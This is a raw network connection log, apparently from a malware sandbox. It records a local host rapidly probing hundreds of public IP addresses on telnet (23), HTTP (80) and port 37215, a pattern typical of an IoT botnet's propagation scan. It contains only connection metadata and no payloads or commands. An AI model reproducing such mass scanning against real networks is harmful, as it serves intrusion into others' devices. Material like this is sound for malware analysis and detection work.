Feb 4, 2025 18:11:16.466336012 CET	42190	37215	192.168.2.15	197.232.170.126
Feb 4, 2025 18:11:16.468785048 CET	58362	23	192.168.2.15	223.251.166.239
Feb 4, 2025 18:11:16.469121933 CET	37894	80	192.168.2.15	200.233.41.109
Feb 4, 2025 18:11:16.471002102 CET	48624	37215	192.168.2.15	41.47.191.201
Feb 4, 2025 18:11:16.473143101 CET	36008	23	192.168.2.15	190.182.109.88
Feb 4, 2025 18:11:16.473587036 CET	23	58362	223.251.166.239	192.168.2.15
Feb 4, 2025 18:11:16.473645926 CET	58362	23	192.168.2.15	223.251.166.239
Feb 4, 2025 18:11:16.475298882 CET	40554	80	192.168.2.15	183.129.252.65
Feb 4, 2025 18:11:16.476725101 CET	48016	37215	192.168.2.15	197.249.19.10
Feb 4, 2025 18:11:16.478039980 CET	41924	23	192.168.2.15	168.197.36.50
Feb 4, 2025 18:11:16.478423119 CET	51970	80	192.168.2.15	37.172.150.98
Feb 4, 2025 18:11:16.481101036 CET	35030	37215	192.168.2.15	41.237.200.164
Feb 4, 2025 18:11:16.481472969 CET	37215	48016	197.249.19.10	192.168.2.15
Feb 4, 2025 18:11:16.481539965 CET	48016	37215	192.168.2.15	197.249.19.10
Feb 4, 2025 18:11:16.481657982 CET	40244	23	192.168.2.15	180.78.103.148
Feb 4, 2025 18:11:16.482620955 CET	44592	80	192.168.2.15	178.15.78.97
Feb 4, 2025 18:11:16.489547968 CET	54460	37215	192.168.2.15	197.212.217.236
Feb 4, 2025 18:11:16.489984989 CET	37714	23	192.168.2.15	46.250.175.108
Feb 4, 2025 18:11:16.490917921 CET	47526	80	192.168.2.15	204.176.132.110
Feb 4, 2025 18:11:16.494441986 CET	37215	54460	197.212.217.236	192.168.2.15
Feb 4, 2025 18:11:16.494498968 CET	54460	37215	192.168.2.15	197.212.217.236
Feb 4, 2025 18:11:16.494616032 CET	33184	23	192.168.2.15	44.155.228.66
Feb 4, 2025 18:11:16.494920015 CET	37110	37215	192.168.2.15	156.184.85.18
Feb 4, 2025 18:11:16.496079922 CET	45246	80	192.168.2.15	181.72.225.6
Feb 4, 2025 18:11:16.499202967 CET	38166	23	192.168.2.15	122.50.163.119
Feb 4, 2025 18:11:16.499568939 CET	55874	80	192.168.2.15	68.142.23.3
Feb 4, 2025 18:11:16.499718904 CET	52626	37215	192.168.2.15	197.89.28.125
Feb 4, 2025 18:11:16.500932932 CET	80	45246	181.72.225.6	192.168.2.15
Feb 4, 2025 18:11:16.500976086 CET	45246	80	192.168.2.15	181.72.225.6
Feb 4, 2025 18:11:16.502804041 CET	57100	23	192.168.2.15	136.55.42.11
Feb 4, 2025 18:11:16.503995895 CET	50816	37215	192.168.2.15	41.137.88.118
Feb 4, 2025 18:11:16.505295992 CET	59030	80	192.168.2.15	146.232.250.211
Feb 4, 2025 18:11:16.509569883 CET	40486	23	192.168.2.15	164.142.192.207
Feb 4, 2025 18:11:16.510029078 CET	53500	80	192.168.2.15	126.88.175.215
Feb 4, 2025 18:11:16.510260105 CET	41704	37215	192.168.2.15	156.30.18.44
Feb 4, 2025 18:11:16.513220072 CET	36398	23	192.168.2.15	154.85.65.46
Feb 4, 2025 18:11:16.514355898 CET	23	40486	164.142.192.207	192.168.2.15
Feb 4, 2025 18:11:16.514404058 CET	40486	23	192.168.2.15	164.142.192.207
Feb 4, 2025 18:11:16.514581919 CET	56824	80	192.168.2.15	43.82.229.157
Feb 4, 2025 18:11:16.514822960 CET	37250	37215	192.168.2.15	41.194.239.130
Feb 4, 2025 18:11:16.517301083 CET	56860	23	192.168.2.15	200.196.8.211
Feb 4, 2025 18:11:16.517680883 CET	56376	80	192.168.2.15	66.135.17.87
Feb 4, 2025 18:11:16.518719912 CET	35658	37215	192.168.2.15	156.255.22.124
Feb 4, 2025 18:11:16.521188974 CET	60256	23	192.168.2.15	180.224.139.179
Feb 4, 2025 18:11:16.522066116 CET	23	56860	200.196.8.211	192.168.2.15
Feb 4, 2025 18:11:16.522111893 CET	56860	23	192.168.2.15	200.196.8.211
Feb 4, 2025 18:11:16.522699118 CET	40198	80	192.168.2.15	194.111.48.242
Feb 4, 2025 18:11:16.524487019 CET	58172	37215	192.168.2.15	41.106.217.55
Feb 4, 2025 18:11:16.525988102 CET	33016	23	192.168.2.15	164.137.162.251
Feb 4, 2025 18:11:16.526393890 CET	37248	80	192.168.2.15	84.0.101.244
Feb 4, 2025 18:11:16.528161049 CET	37500	37215	192.168.2.15	41.80.3.189
Feb 4, 2025 18:11:16.528811932 CET	35862	23	192.168.2.15	165.249.38.136
Feb 4, 2025 18:11:16.530246019 CET	33876	80	192.168.2.15	126.70.32.90
Feb 4, 2025 18:11:16.532150030 CET	38854	37215	192.168.2.15	156.30.145.227
Feb 4, 2025 18:11:16.532659054 CET	45140	23	192.168.2.15	187.150.12.11
Feb 4, 2025 18:11:16.532915115 CET	37215	37500	41.80.3.189	192.168.2.15
Feb 4, 2025 18:11:16.532968998 CET	37500	37215	192.168.2.15	41.80.3.189
Feb 4, 2025 18:11:16.533060074 CET	47996	80	192.168.2.15	83.61.136.91
Feb 4, 2025 18:11:16.535274029 CET	55852	23	192.168.2.15	143.239.97.29
Feb 4, 2025 18:11:16.535685062 CET	44564	37215	192.168.2.15	41.156.70.108
Feb 4, 2025 18:11:16.537190914 CET	44330	80	192.168.2.15	125.44.204.231
Feb 4, 2025 18:11:16.540103912 CET	60938	23	192.168.2.15	13.201.182.230
Feb 4, 2025 18:11:16.540487051 CET	37215	44564	41.156.70.108	192.168.2.15
Feb 4, 2025 18:11:16.540529013 CET	44564	37215	192.168.2.15	41.156.70.108
Feb 4, 2025 18:11:16.540987015 CET	57398	80	192.168.2.15	108.107.221.111
Feb 4, 2025 18:11:16.541182995 CET	49300	37215	192.168.2.15	197.231.134.36
Feb 4, 2025 18:11:16.544157028 CET	42714	23	192.168.2.15	206.244.37.21
Feb 4, 2025 18:11:16.545356035 CET	51986	80	192.168.2.15	107.55.187.174
Feb 4, 2025 18:11:16.545568943 CET	47320	37215	192.168.2.15	197.14.66.12
Feb 4, 2025 18:11:16.548218966 CET	45228	23	192.168.2.15	218.238.190.219
Feb 4, 2025 18:11:16.548707008 CET	54240	80	192.168.2.15	108.8.212.184
Feb 4, 2025 18:11:16.549962997 CET	47416	37215	192.168.2.15	41.223.19.108
Feb 4, 2025 18:11:16.551950932 CET	59318	23	192.168.2.15	104.129.170.155
Feb 4, 2025 18:11:16.552969933 CET	38698	80	192.168.2.15	206.18.177.12
Feb 4, 2025 18:11:16.553023100 CET	23	45228	218.238.190.219	192.168.2.15
Feb 4, 2025 18:11:16.553061962 CET	45228	23	192.168.2.15	218.238.190.219
Feb 4, 2025 18:11:16.555217981 CET	33268	37215	192.168.2.15	197.254.196.228
Feb 4, 2025 18:11:16.557900906 CET	55992	23	192.168.2.15	75.64.20.205
Feb 4, 2025 18:11:16.558208942 CET	36442	80	192.168.2.15	189.156.186.99
Feb 4, 2025 18:11:16.559892893 CET	33738	37215	192.168.2.15	156.129.236.100
Feb 4, 2025 18:11:16.560584068 CET	59714	23	192.168.2.15	53.219.214.78
Feb 4, 2025 18:11:16.561664104 CET	59486	80	192.168.2.15	187.255.144.171
Feb 4, 2025 18:11:16.562674046 CET	23	55992	75.64.20.205	192.168.2.15
Feb 4, 2025 18:11:16.562843084 CET	55992	23	192.168.2.15	75.64.20.205
Feb 4, 2025 18:11:16.564033985 CET	44712	37215	192.168.2.15	156.219.181.29
Feb 4, 2025 18:11:16.564636946 CET	51336	23	192.168.2.15	71.140.188.144
Feb 4, 2025 18:11:16.564894915 CET	34050	80	192.168.2.15	89.171.116.145
Feb 4, 2025 18:11:16.567688942 CET	38232	23	192.168.2.15	138.119.215.28
Feb 4, 2025 18:11:16.567998886 CET	33086	37215	192.168.2.15	156.6.81.205
Feb 4, 2025 18:11:16.568799019 CET	43998	80	192.168.2.15	8.96.135.15
Feb 4, 2025 18:11:16.571966887 CET	48266	23	192.168.2.15	183.158.88.190
Feb 4, 2025 18:11:16.572257042 CET	53476	80	192.168.2.15	36.166.131.210
Feb 4, 2025 18:11:16.572339058 CET	48194	37215	192.168.2.15	197.6.74.221
Feb 4, 2025 18:11:16.572483063 CET	23	38232	138.119.215.28	192.168.2.15
Feb 4, 2025 18:11:16.572534084 CET	38232	23	192.168.2.15	138.119.215.28
Feb 4, 2025 18:11:16.575508118 CET	34212	23	192.168.2.15	130.70.56.197
Feb 4, 2025 18:11:16.576653004 CET	41492	80	192.168.2.15	78.254.237.99
Feb 4, 2025 18:11:16.576893091 CET	38420	37215	192.168.2.15	156.148.145.85
Feb 4, 2025 18:11:16.579145908 CET	49984	23	192.168.2.15	80.194.220.75
Feb 4, 2025 18:11:16.579446077 CET	60566	80	192.168.2.15	95.225.178.100
Feb 4, 2025 18:11:16.580364943 CET	23	34212	130.70.56.197	192.168.2.15
Feb 4, 2025 18:11:16.580410957 CET	34212	23	192.168.2.15	130.70.56.197
Feb 4, 2025 18:11:16.580837011 CET	40696	37215	192.168.2.15	156.88.255.7
Feb 4, 2025 18:11:16.582405090 CET	33138	23	192.168.2.15	94.86.77.0
Feb 4, 2025 18:11:16.583321095 CET	53156	80	192.168.2.15	200.22.208.167
Feb 4, 2025 18:11:16.584433079 CET	38780	37215	192.168.2.15	197.109.31.175
Feb 4, 2025 18:11:16.585867882 CET	58692	23	192.168.2.15	212.98.151.177
Feb 4, 2025 18:11:16.586311102 CET	47786	80	192.168.2.15	41.137.229.247
Feb 4, 2025 18:11:16.588484049 CET	49706	37215	192.168.2.15	197.159.207.228
Feb 4, 2025 18:11:16.589087009 CET	54258	23	192.168.2.15	35.128.194.32
Feb 4, 2025 18:11:16.590713978 CET	33010	80	192.168.2.15	207.26.197.36
Feb 4, 2025 18:11:16.592542887 CET	51456	37215	192.168.2.15	197.150.26.169
Feb 4, 2025 18:11:16.593061924 CET	55630	23	192.168.2.15	128.125.86.157
Feb 4, 2025 18:11:16.593297958 CET	37215	49706	197.159.207.228	192.168.2.15
Feb 4, 2025 18:11:16.593344927 CET	49706	37215	192.168.2.15	197.159.207.228
Feb 4, 2025 18:11:16.593385935 CET	56348	80	192.168.2.15	114.198.115.177
Feb 4, 2025 18:11:16.596074104 CET	57410	23	192.168.2.15	135.64.29.32
Feb 4, 2025 18:11:16.596407890 CET	43426	37215	192.168.2.15	156.221.144.14
Feb 4, 2025 18:11:16.597147942 CET	51366	80	192.168.2.15	175.253.12.68
Feb 4, 2025 18:11:16.599288940 CET	42010	23	192.168.2.15	157.105.102.148
Feb 4, 2025 18:11:16.599627972 CET	39178	80	192.168.2.15	132.130.80.183
Feb 4, 2025 18:11:16.599757910 CET	45496	37215	192.168.2.15	156.47.169.47
Feb 4, 2025 18:11:16.600866079 CET	23	57410	135.64.29.32	192.168.2.15
Feb 4, 2025 18:11:16.600919008 CET	57410	23	192.168.2.15	135.64.29.32
Feb 4, 2025 18:11:16.602304935 CET	54204	23	192.168.2.15	94.227.241.132
Feb 4, 2025 18:11:16.602758884 CET	53228	37215	192.168.2.15	41.200.231.53
Feb 4, 2025 18:11:16.604038000 CET	46800	80	192.168.2.15	67.76.177.112
Feb 4, 2025 18:11:16.606352091 CET	38734	23	192.168.2.15	209.173.21.234
Feb 4, 2025 18:11:16.607333899 CET	52328	80	192.168.2.15	84.59.111.135
Feb 4, 2025 18:11:16.607522964 CET	50144	37215	192.168.2.15	41.136.237.199
Feb 4, 2025 18:11:16.610097885 CET	43842	23	192.168.2.15	37.106.63.8
Feb 4, 2025 18:11:16.611160994 CET	53966	80	192.168.2.15	82.32.93.110
Feb 4, 2025 18:11:16.611466885 CET	45298	37215	192.168.2.15	197.11.95.122
Feb 4, 2025 18:11:16.612159967 CET	80	52328	84.59.111.135	192.168.2.15
Feb 4, 2025 18:11:16.612195969 CET	52328	80	192.168.2.15	84.59.111.135
Feb 4, 2025 18:11:16.614629030 CET	55796	23	192.168.2.15	108.249.165.250
Feb 4, 2025 18:11:16.615015030 CET	44650	80	192.168.2.15	40.27.177.94
Feb 4, 2025 18:11:16.615916967 CET	34294	37215	192.168.2.15	41.216.131.125
Feb 4, 2025 18:11:16.617698908 CET	41922	23	192.168.2.15	129.9.229.69
Feb 4, 2025 18:11:16.618804932 CET	36766	80	192.168.2.15	143.23.249.38
Feb 4, 2025 18:11:16.620594025 CET	43732	37215	192.168.2.15	41.238.27.185
Feb 4, 2025 18:11:16.620687008 CET	37215	34294	41.216.131.125	192.168.2.15
Feb 4, 2025 18:11:16.620825052 CET	34294	37215	192.168.2.15	41.216.131.125
Feb 4, 2025 18:11:16.622126102 CET	59342	23	192.168.2.15	132.130.1.67
Feb 4, 2025 18:11:16.622395039 CET	39678	80	192.168.2.15	194.35.89.86
Feb 4, 2025 18:11:16.624608040 CET	56084	37215	192.168.2.15	41.26.186.8
Feb 4, 2025 18:11:16.625397921 CET	41804	23	192.168.2.15	91.0.19.87
Feb 4, 2025 18:11:16.626653910 CET	33354	80	192.168.2.15	141.119.124.169
Feb 4, 2025 18:11:16.628565073 CET	57500	37215	192.168.2.15	41.229.202.43
Feb 4, 2025 18:11:16.629147053 CET	36228	23	192.168.2.15	132.15.159.73
Feb 4, 2025 18:11:16.629461050 CET	37912	80	192.168.2.15	40.164.113.19
Feb 4, 2025 18:11:16.632144928 CET	39264	23	192.168.2.15	153.195.245.31
Feb 4, 2025 18:11:16.632608891 CET	38824	37215	192.168.2.15	156.160.31.107
Feb 4, 2025 18:11:16.633296013 CET	37215	57500	41.229.202.43	192.168.2.15
Feb 4, 2025 18:11:16.633335114 CET	57500	37215	192.168.2.15	41.229.202.43
Feb 4, 2025 18:11:16.633377075 CET	56570	80	192.168.2.15	190.51.84.210
Feb 4, 2025 18:11:16.636476040 CET	44030	23	192.168.2.15	179.180.114.19
Feb 4, 2025 18:11:16.636964083 CET	50100	80	192.168.2.15	176.70.45.40
Feb 4, 2025 18:11:16.637074947 CET	43530	37215	192.168.2.15	41.214.171.158
Feb 4, 2025 18:11:16.640185118 CET	49374	23	192.168.2.15	45.119.106.189
Feb 4, 2025 18:11:16.641047955 CET	43470	80	192.168.2.15	200.16.27.139
Feb 4, 2025 18:11:16.641283035 CET	56382	37215	192.168.2.15	197.225.167.185
Feb 4, 2025 18:11:16.641298056 CET	23	44030	179.180.114.19	192.168.2.15
Feb 4, 2025 18:11:16.641339064 CET	44030	23	192.168.2.15	179.180.114.19
Feb 4, 2025 18:11:16.643667936 CET	57814	80	192.168.2.15	178.24.117.67
Feb 4, 2025 18:11:16.643892050 CET	33700	37215	192.168.2.15	197.133.40.24
Feb 4, 2025 18:11:16.646230936 CET	38760	37215	192.168.2.15	41.29.6.122
Feb 4, 2025 18:11:16.648474932 CET	42116	37215	192.168.2.15	41.197.212.105
Feb 4, 2025 18:11:16.650293112 CET	49810	37215	192.168.2.15	156.80.186.253
Feb 4, 2025 18:11:16.652842045 CET	53468	37215	192.168.2.15	41.90.199.41
Feb 4, 2025 18:11:16.653323889 CET	37215	42116	41.197.212.105	192.168.2.15
Feb 4, 2025 18:11:16.653388977 CET	42116	37215	192.168.2.15	41.197.212.105
Feb 4, 2025 18:11:16.655117035 CET	58936	37215	192.168.2.15	41.130.45.55
Feb 4, 2025 18:11:16.657104015 CET	35832	37215	192.168.2.15	197.157.167.236
Feb 4, 2025 18:11:16.659168005 CET	39476	37215	192.168.2.15	197.75.231.248
Feb 4, 2025 18:11:16.661164045 CET	43502	37215	192.168.2.15	156.191.31.192
Feb 4, 2025 18:11:16.661955118 CET	37215	35832	197.157.167.236	192.168.2.15
Feb 4, 2025 18:11:16.661998987 CET	35832	37215	192.168.2.15	197.157.167.236
Feb 4, 2025 18:11:16.663434029 CET	51756	37215	192.168.2.15	41.4.98.12
Feb 4, 2025 18:11:16.664576054 CET	55030	23	192.168.2.15	57.205.39.29
Feb 4, 2025 18:11:16.664794922 CET	40998	80	192.168.2.15	27.92.164.132
Feb 4, 2025 18:11:16.667057037 CET	36570	23	192.168.2.15	103.187.98.3
Feb 4, 2025 18:11:16.667948008 CET	33892	80	192.168.2.15	75.202.255.136
Feb 4, 2025 18:11:16.671240091 CET	56196	23	192.168.2.15	178.240.68.167
Feb 4, 2025 18:11:16.672409058 CET	52098	80	192.168.2.15	150.249.4.56
Feb 4, 2025 18:11:16.673418999 CET	80	33892	75.202.255.136	192.168.2.15
Feb 4, 2025 18:11:16.673476934 CET	33892	80	192.168.2.15	75.202.255.136
Feb 4, 2025 18:11:16.674447060 CET	57164	23	192.168.2.15	108.109.210.172
Feb 4, 2025 18:11:16.676597118 CET	34258	80	192.168.2.15	139.62.254.107
Feb 4, 2025 18:11:16.678354979 CET	42680	23	192.168.2.15	201.160.33.69
Feb 4, 2025 18:11:16.681165934 CET	35530	37215	192.168.2.15	156.161.111.247
Feb 4, 2025 18:11:16.681334019 CET	80	34258	139.62.254.107	192.168.2.15
Feb 4, 2025 18:11:16.681377888 CET	34258	80	192.168.2.15	139.62.254.107
Feb 4, 2025 18:11:16.681713104 CET	33948	80	192.168.2.15	13.108.32.211
Feb 4, 2025 18:11:16.682809114 CET	44424	23	192.168.2.15	184.200.125.10
Feb 4, 2025 18:11:16.685406923 CET	56738	37215	192.168.2.15	156.106.230.150
Feb 4, 2025 18:11:16.685620070 CET	45022	80	192.168.2.15	32.71.11.101
Feb 4, 2025 18:11:16.686930895 CET	59832	23	192.168.2.15	180.109.28.208
Feb 4, 2025 18:11:16.689090967 CET	38138	37215	192.168.2.15	41.89.103.100
Feb 4, 2025 18:11:16.689493895 CET	45676	80	192.168.2.15	12.84.237.46
Feb 4, 2025 18:11:16.689965010 CET	56088	23	192.168.2.15	148.9.7.97
Feb 4, 2025 18:11:16.692286015 CET	39500	37215	192.168.2.15	41.71.7.151
Feb 4, 2025 18:11:16.693435907 CET	52064	80	192.168.2.15	62.209.59.232
Feb 4, 2025 18:11:16.693794012 CET	36906	23	192.168.2.15	61.216.233.236
Feb 4, 2025 18:11:16.693850040 CET	37215	38138	41.89.103.100	192.168.2.15
Feb 4, 2025 18:11:16.693893909 CET	38138	37215	192.168.2.15	41.89.103.100
Feb 4, 2025 18:11:16.696131945 CET	43928	37215	192.168.2.15	197.0.255.111
Feb 4, 2025 18:11:16.696618080 CET	54352	80	192.168.2.15	159.222.186.124
Feb 4, 2025 18:11:16.697177887 CET	52074	23	192.168.2.15	120.64.224.218
Feb 4, 2025 18:11:16.699470043 CET	39714	37215	192.168.2.15	156.95.70.65
Feb 4, 2025 18:11:16.700942993 CET	55558	80	192.168.2.15	139.0.119.230
Feb 4, 2025 18:11:16.700968027 CET	37215	43928	197.0.255.111	192.168.2.15
Feb 4, 2025 18:11:16.701015949 CET	43928	37215	192.168.2.15	197.0.255.111
Feb 4, 2025 18:11:16.701391935 CET	43514	23	192.168.2.15	211.5.82.30
Feb 4, 2025 18:11:16.703480005 CET	36182	37215	192.168.2.15	41.26.103.153
Feb 4, 2025 18:11:16.703843117 CET	46318	80	192.168.2.15	124.18.92.244
Feb 4, 2025 18:11:16.704376936 CET	44984	23	192.168.2.15	83.203.152.236
Feb 4, 2025 18:11:16.706482887 CET	52002	37215	192.168.2.15	197.52.101.177
Feb 4, 2025 18:11:16.707720995 CET	49594	80	192.168.2.15	115.185.195.251
Feb 4, 2025 18:11:16.708403111 CET	52140	23	192.168.2.15	36.176.57.6
Feb 4, 2025 18:11:16.710546017 CET	48672	37215	192.168.2.15	156.218.48.79
Feb 4, 2025 18:11:16.710881948 CET	37834	80	192.168.2.15	35.149.142.163
Feb 4, 2025 18:11:16.711390972 CET	48030	23	192.168.2.15	23.235.121.239
Feb 4, 2025 18:11:16.712480068 CET	80	49594	115.185.195.251	192.168.2.15
Feb 4, 2025 18:11:16.712522984 CET	49594	80	192.168.2.15	115.185.195.251
Feb 4, 2025 18:11:16.713749886 CET	44860	37215	192.168.2.15	156.66.193.93
Feb 4, 2025 18:11:16.714829922 CET	50898	80	192.168.2.15	42.77.12.95
Feb 4, 2025 18:11:16.715301037 CET	38296	23	192.168.2.15	68.111.155.67
Feb 4, 2025 18:11:16.717520952 CET	36264	37215	192.168.2.15	156.52.86.18
Feb 4, 2025 18:11:16.718521118 CET	46862	23	192.168.2.15	112.84.19.109
Feb 4, 2025 18:11:16.718888998 CET	44240	80	192.168.2.15	151.135.231.28
Feb 4, 2025 18:11:16.720839977 CET	56622	37215	192.168.2.15	156.40.158.242
Feb 4, 2025 18:11:16.722191095 CET	59176	23	192.168.2.15	180.35.33.201
Feb 4, 2025 18:11:16.722373009 CET	37215	36264	156.52.86.18	192.168.2.15
Feb 4, 2025 18:11:16.722412109 CET	36264	37215	192.168.2.15	156.52.86.18
Feb 4, 2025 18:11:16.722728968 CET	45606	80	192.168.2.15	219.26.94.243
Feb 4, 2025 18:11:16.724692106 CET	46936	37215	192.168.2.15	41.170.244.75
Feb 4, 2025 18:11:16.725522041 CET	51034	23	192.168.2.15	148.177.1.189
Feb 4, 2025 18:11:16.726097107 CET	51912	80	192.168.2.15	151.84.254.55
Feb 4, 2025 18:11:16.728236914 CET	56890	37215	192.168.2.15	156.221.146.36
Feb 4, 2025 18:11:16.729765892 CET	36236	23	192.168.2.15	94.164.192.93
Feb 4, 2025 18:11:16.730274916 CET	32988	80	192.168.2.15	68.2.40.103
Feb 4, 2025 18:11:16.731971979 CET	48582	37215	192.168.2.15	156.89.240.196
Feb 4, 2025 18:11:16.732923031 CET	41488	23	192.168.2.15	83.221.63.72
Feb 4, 2025 18:11:16.733047009 CET	37215	56890	156.221.146.36	192.168.2.15
Feb 4, 2025 18:11:16.733089924 CET	56890	37215	192.168.2.15	156.221.146.36
Feb 4, 2025 18:11:16.734272957 CET	56422	37215	192.168.2.15	197.186.125.49
Feb 4, 2025 18:11:16.734272957 CET	56422	37215	192.168.2.15	197.186.125.49
Feb 4, 2025 18:11:16.734594107 CET	44692	80	192.168.2.15	76.247.142.44
Feb 4, 2025 18:11:16.735449076 CET	56880	37215	192.168.2.15	197.186.125.49
Feb 4, 2025 18:11:16.737020016 CET	51486	23	192.168.2.15	146.120.87.140
Feb 4, 2025 18:11:16.737339020 CET	53094	37215	192.168.2.15	41.229.92.72
Feb 4, 2025 18:11:16.737339020 CET	53094	37215	192.168.2.15	41.229.92.72
Feb 4, 2025 18:11:16.738384962 CET	55034	80	192.168.2.15	68.223.197.207
Feb 4, 2025 18:11:16.739062071 CET	37215	56422	197.186.125.49	192.168.2.15
Feb 4, 2025 18:11:16.740264893 CET	37215	56880	197.186.125.49	192.168.2.15
Feb 4, 2025 18:11:16.740314007 CET	56880	37215	192.168.2.15	197.186.125.49
Feb 4, 2025 18:11:16.742160082 CET	37215	53094	41.229.92.72	192.168.2.15
Feb 4, 2025 18:11:16.742212057 CET	53532	37215	192.168.2.15	41.229.92.72
Feb 4, 2025 18:11:16.744389057 CET	38440	23	192.168.2.15	18.7.3.199
Feb 4, 2025 18:11:16.745208979 CET	47592	37215	192.168.2.15	156.232.252.30
Feb 4, 2025 18:11:16.745208979 CET	47592	37215	192.168.2.15	156.232.252.30
Feb 4, 2025 18:11:16.746062040 CET	48028	37215	192.168.2.15	156.232.252.30
Feb 4, 2025 18:11:16.746153116 CET	43492	80	192.168.2.15	203.195.122.98
Feb 4, 2025 18:11:16.747627974 CET	33100	23	192.168.2.15	158.149.137.73
Feb 4, 2025 18:11:16.747920036 CET	33992	37215	192.168.2.15	197.172.1.62
Feb 4, 2025 18:11:16.747920036 CET	33992	37215	192.168.2.15	197.172.1.62
Feb 4, 2025 18:11:16.749356985 CET	34406	37215	192.168.2.15	197.172.1.62
Feb 4, 2025 18:11:16.749573946 CET	53626	80	192.168.2.15	17.53.64.207
Feb 4, 2025 18:11:16.750118971 CET	57316	23	192.168.2.15	121.30.131.180
Feb 4, 2025 18:11:16.750128031 CET	37215	47592	156.232.252.30	192.168.2.15
Feb 4, 2025 18:11:16.751177073 CET	48016	37215	192.168.2.15	197.249.19.10
Feb 4, 2025 18:11:16.751177073 CET	48016	37215	192.168.2.15	197.249.19.10
Feb 4, 2025 18:11:16.752235889 CET	48412	37215	192.168.2.15	197.249.19.10
Feb 4, 2025 18:11:16.753084898 CET	23	33100	158.149.137.73	192.168.2.15
Feb 4, 2025 18:11:16.753094912 CET	37215	33992	197.172.1.62	192.168.2.15
Feb 4, 2025 18:11:16.753149033 CET	33100	23	192.168.2.15	158.149.137.73
Feb 4, 2025 18:11:16.753149986 CET	47068	80	192.168.2.15	58.119.47.250
Feb 4, 2025 18:11:16.753495932 CET	34586	23	192.168.2.15	17.83.44.167
Feb 4, 2025 18:11:16.753866911 CET	54460	37215	192.168.2.15	197.212.217.236
Feb 4, 2025 18:11:16.753866911 CET	54460	37215	192.168.2.15	197.212.217.236
Feb 4, 2025 18:11:16.755574942 CET	54850	37215	192.168.2.15	197.212.217.236
Feb 4, 2025 18:11:16.755963087 CET	37215	48016	197.249.19.10	192.168.2.15
Feb 4, 2025 18:11:16.756257057 CET	49834	23	192.168.2.15	25.7.1.179
Feb 4, 2025 18:11:16.756513119 CET	50200	80	192.168.2.15	129.122.69.84
Feb 4, 2025 18:11:16.757272959 CET	37500	37215	192.168.2.15	41.80.3.189
Feb 4, 2025 18:11:16.757272959 CET	37500	37215	192.168.2.15	41.80.3.189
Feb 4, 2025 18:11:16.758352995 CET	37844	37215	192.168.2.15	41.80.3.189
Feb 4, 2025 18:11:16.758620977 CET	37215	54460	197.212.217.236	192.168.2.15
Feb 4, 2025 18:11:16.759602070 CET	50316	23	192.168.2.15	146.0.93.112
Feb 4, 2025 18:11:16.759924889 CET	44564	37215	192.168.2.15	41.156.70.108
Feb 4, 2025 18:11:16.759924889 CET	44564	37215	192.168.2.15	41.156.70.108
Feb 4, 2025 18:11:16.760080099 CET	59466	80	192.168.2.15	204.195.131.15
Feb 4, 2025 18:11:16.760376930 CET	37215	54850	197.212.217.236	192.168.2.15
Feb 4, 2025 18:11:16.760432959 CET	54850	37215	192.168.2.15	197.212.217.236
Feb 4, 2025 18:11:16.761904955 CET	44900	37215	192.168.2.15	41.156.70.108
Feb 4, 2025 18:11:16.762089014 CET	37215	37500	41.80.3.189	192.168.2.15
Feb 4, 2025 18:11:16.762609005 CET	46678	23	192.168.2.15	97.38.106.62
Feb 4, 2025 18:11:16.763555050 CET	49706	37215	192.168.2.15	197.159.207.228
Feb 4, 2025 18:11:16.763555050 CET	49706	37215	192.168.2.15	197.159.207.228
Feb 4, 2025 18:11:16.763809919 CET	57030	80	192.168.2.15	216.239.162.11
Feb 4, 2025 18:11:16.764655113 CET	49970	37215	192.168.2.15	197.159.207.228
Feb 4, 2025 18:11:16.764704943 CET	37215	44564	41.156.70.108	192.168.2.15
Feb 4, 2025 18:11:16.766186953 CET	54492	23	192.168.2.15	210.181.253.13
Feb 4, 2025 18:11:16.766545057 CET	34294	37215	192.168.2.15	41.216.131.125
Feb 4, 2025 18:11:16.766545057 CET	34294	37215	192.168.2.15	41.216.131.125
Feb 4, 2025 18:11:16.767333984 CET	46086	80	192.168.2.15	104.108.17.71
Feb 4, 2025 18:11:16.767908096 CET	34518	37215	192.168.2.15	41.216.131.125
Feb 4, 2025 18:11:16.768374920 CET	37215	49706	197.159.207.228	192.168.2.15
Feb 4, 2025 18:11:16.768812895 CET	40238	23	192.168.2.15	125.34.10.8
Feb 4, 2025 18:11:16.769980907 CET	57500	37215	192.168.2.15	41.229.202.43
Feb 4, 2025 18:11:16.769980907 CET	57500	37215	192.168.2.15	41.229.202.43
Feb 4, 2025 18:11:16.770957947 CET	57710	37215	192.168.2.15	41.229.202.43
Feb 4, 2025 18:11:16.771090984 CET	33570	80	192.168.2.15	140.115.164.99
Feb 4, 2025 18:11:16.771326065 CET	37215	34294	41.216.131.125	192.168.2.15
Feb 4, 2025 18:11:16.772085905 CET	80	46086	104.108.17.71	192.168.2.15
Feb 4, 2025 18:11:16.772126913 CET	46086	80	192.168.2.15	104.108.17.71
Feb 4, 2025 18:11:16.772408009 CET	47150	23	192.168.2.15	59.56.94.253
Feb 4, 2025 18:11:16.772777081 CET	42116	37215	192.168.2.15	41.197.212.105
Feb 4, 2025 18:11:16.772777081 CET	42116	37215	192.168.2.15	41.197.212.105
Feb 4, 2025 18:11:16.774401903 CET	42302	37215	192.168.2.15	41.197.212.105
Feb 4, 2025 18:11:16.774574995 CET	51770	80	192.168.2.15	59.153.46.112
Feb 4, 2025 18:11:16.774775982 CET	37215	57500	41.229.202.43	192.168.2.15
Feb 4, 2025 18:11:16.775219917 CET	48432	23	192.168.2.15	201.153.104.134
Feb 4, 2025 18:11:16.776264906 CET	35832	37215	192.168.2.15	197.157.167.236
Feb 4, 2025 18:11:16.776264906 CET	35832	37215	192.168.2.15	197.157.167.236
Feb 4, 2025 18:11:16.777219057 CET	36016	37215	192.168.2.15	197.157.167.236
Feb 4, 2025 18:11:16.777566910 CET	37215	42116	41.197.212.105	192.168.2.15
Feb 4, 2025 18:11:16.778101921 CET	34896	80	192.168.2.15	96.93.172.124
Feb 4, 2025 18:11:16.778590918 CET	46348	23	192.168.2.15	192.150.137.169
Feb 4, 2025 18:11:16.778990984 CET	38138	37215	192.168.2.15	41.89.103.100
Feb 4, 2025 18:11:16.778990984 CET	38138	37215	192.168.2.15	41.89.103.100
Feb 4, 2025 18:11:16.780400991 CET	37215	56422	197.186.125.49	192.168.2.15
Feb 4, 2025 18:11:16.780663967 CET	38290	37215	192.168.2.15	41.89.103.100
Feb 4, 2025 18:11:16.781075954 CET	37215	35832	197.157.167.236	192.168.2.15
Feb 4, 2025 18:11:16.781284094 CET	44530	23	192.168.2.15	207.100.187.146
Feb 4, 2025 18:11:16.781692028 CET	47936	80	192.168.2.15	213.60.47.102
